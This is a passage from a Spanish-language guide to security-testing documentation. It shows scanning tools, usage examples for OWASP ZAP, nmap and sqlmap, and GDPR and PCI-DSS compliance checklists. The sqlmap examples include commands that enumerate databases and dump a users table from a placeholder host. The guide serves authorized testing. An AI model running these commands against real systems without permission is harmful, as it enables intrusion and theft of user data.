Snyk | SCA | Vulnerabilidades de dependencias | Gratis/Pago |
Trivy | Contenedor | Escaneo de imágenes Docker | Gratis |
GitGuardian | Escaneo Secretos | Credenciales en código | Gratis/Pago |
Ejemplos de Uso de Herramientas
Escaneo Automatizado OWASP ZAP:
# Iniciar ZAP en modo daemon
docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap.sh -daemon \
-host 0.0.0.0 -port 8080 -config api.disablekey=true
# Ejecutar escaneo automatizado
zap-cli quick-scan -s xss,sqli https://example.com
# Generar reporte HTML
zap-cli report -o zap-report.html -f html
Escaneo de Seguridad Nmap:
# Escaneo de seguridad integral
nmap -sV -sC --script=vuln -p- example.com -oA nmap-security-scan
# Verificación de vulnerabilidades SSL/TLS
nmap --script ssl-enum-ciphers -p 443 example.com
Extracción de Base de Datos SQLMap:
# Probar inyección SQL
sqlmap -u "https://example.com/api/search?q=test" --batch --risk=3 --level=5
# Extraer nombres de bases de datos
sqlmap -u "https://example.com/api/search?q=test" --dbs
# Volcar tabla específica
sqlmap -u "https://example.com/api/search?q=test" -D nombre_bd -T users --dump
Requisitos de Cumplimiento y Regulatorios
Requisitos de Seguridad GDPR
## GDPR Artículo 32: Seguridad del Procesamiento
### Medidas de Seguridad Requeridas
- [ ] **Pseudonimización y cifrado** de datos personales
- [ ] **Capacidad de asegurar confidencialidad continua**, integridad, disponibilidad
- [ ] **Capacidad de restaurar acceso** a datos personales de manera oportuna
- [ ] **Pruebas y evaluación regulares** de medidas de seguridad
### Checklist de Pruebas
#### Cifrado (Art. 32.1.a)
- [ ] Datos cifrados en reposo (AES-256 o equivalente)
- [ ] Datos cifrados en tránsito (TLS 1.2+ mínimo)
- [ ] Gestión de claves de cifrado probada
- [ ] Cifrado de respaldo verificado
#### Controles de Acceso (Art. 32.1.b)
- [ ] Control de acceso basado en roles (RBAC) implementado
- [ ] Principio de mínimo privilegio aplicado
- [ ] Logs de acceso mantenidos (quién, qué, cuándo)
- [ ] Proceso regular de revisión de acceso
#### Resiliencia (Art. 32.1.b)
- [ ] Configuración de alta disponibilidad probada
- [ ] Plan de recuperación ante desastres validado
- [ ] RTO (Objetivo de Tiempo de Recuperación): < 4 horas
- [ ] RPO (Objetivo de Punto de Recuperación): < 1 hora
#### Pruebas Regulares (Art. 32.1.d)
- [ ] Pruebas de penetración trimestrales
- [ ] Escaneo de vulnerabilidades mensual
- [ ] Auditoría de seguridad anual
- [ ] Simulacros de respuesta a incidentes (semestral)
Requisitos PCI-DSS
## PCI-DSS Requisito 6: Desarrollo Seguro
### 6.5 Abordar Vulnerabilidades Comunes de Codificación
- [ ] **6.5.1** Fallas de inyección (SQL, OS, LDAP)
- [ ] **6.5.2** Desbordamientos de búfer
- [ ] **6.5.3** Almacenamiento criptográfico inseguro
- [ ] **6.5.4** Comunicaciones inseguras
- [ ] **6.5.5** Manejo impropio de errores
- [ ] **6.5.6** Vulnerabilidades de alto riesgo (OWASP Top 10)
- [ ] **6.5.7** Cross-site scripting (XSS)
- [ ] **6.5.8** Control de acceso impropio
- [ ] **6.5.9** Cross-site request forgery (CSRF)
- [ ] **6.5.10** Autenticación rota
### Evidencia de Pruebas Requerida
1. **Reportes de Escaneo de Vulnerabilidades** (Trimestral)
- Todas las vulnerabilidades "Altas" y "Críticas" remediadas
- Resultados de escaneo de ASV (Proveedor de Escaneo Aprobado)
2. **Reportes de Pruebas de Penetración** (Anual)
- Pruebas de capa de red
- Pruebas de capa de aplicación
- Validación de segmentación
3. **Documentación de Revisión de Código**
- Revisión manual de código para cambios críticos
- Resultados de herramienta SAST
- Seguimiento de remediación
4. **Registros de Control de Cambios**
- Evaluación de impacto de seguridad para cambios
- Resultados de pruebas antes de despliegue a producción
Conclusión
La documentación efectiva de pruebas de seguridad es esencial para proteger aplicaciones, mantener cumplimiento y construir confianza con usuarios y stakeholders. Siguiendo las directrices OWASP, conduciendo pruebas de penetración exhaustivas, documentando vulnerabilidades comprehensivamente y rastreando remediación diligentemente, las organizaciones pueden mejorar significativamente su postura de seguridad.
Puntos Clave:
- Estandarizar Pruebas: Usar OWASP Top 10 como fundamento para pruebas de seguridad
- Documentar Exhaustivamente: Hallazgos detallados permiten remediación efectiva
- Priorizar por Riesgo: Usar puntuación CVSS para enfocarse en vulnerabilidades críticas
- Rastrear Remediación: Asegurar que vulnerabilidades sean corregidas y verificadas
- Automatizar Donde Sea Posible: Integrar pruebas de seguridad en pipelines CI/CD
- Mantener Cumplimiento: Pruebas regulares cumplen requisitos regulatorios
- Mejora Continua: Pruebas de seguridad son continuas, no únicas
Recuerda: La seguridad no es un producto sino un proceso. Pruebas regulares, documentación integral y remediación rápida son los pilares de un programa robusto de seguridad.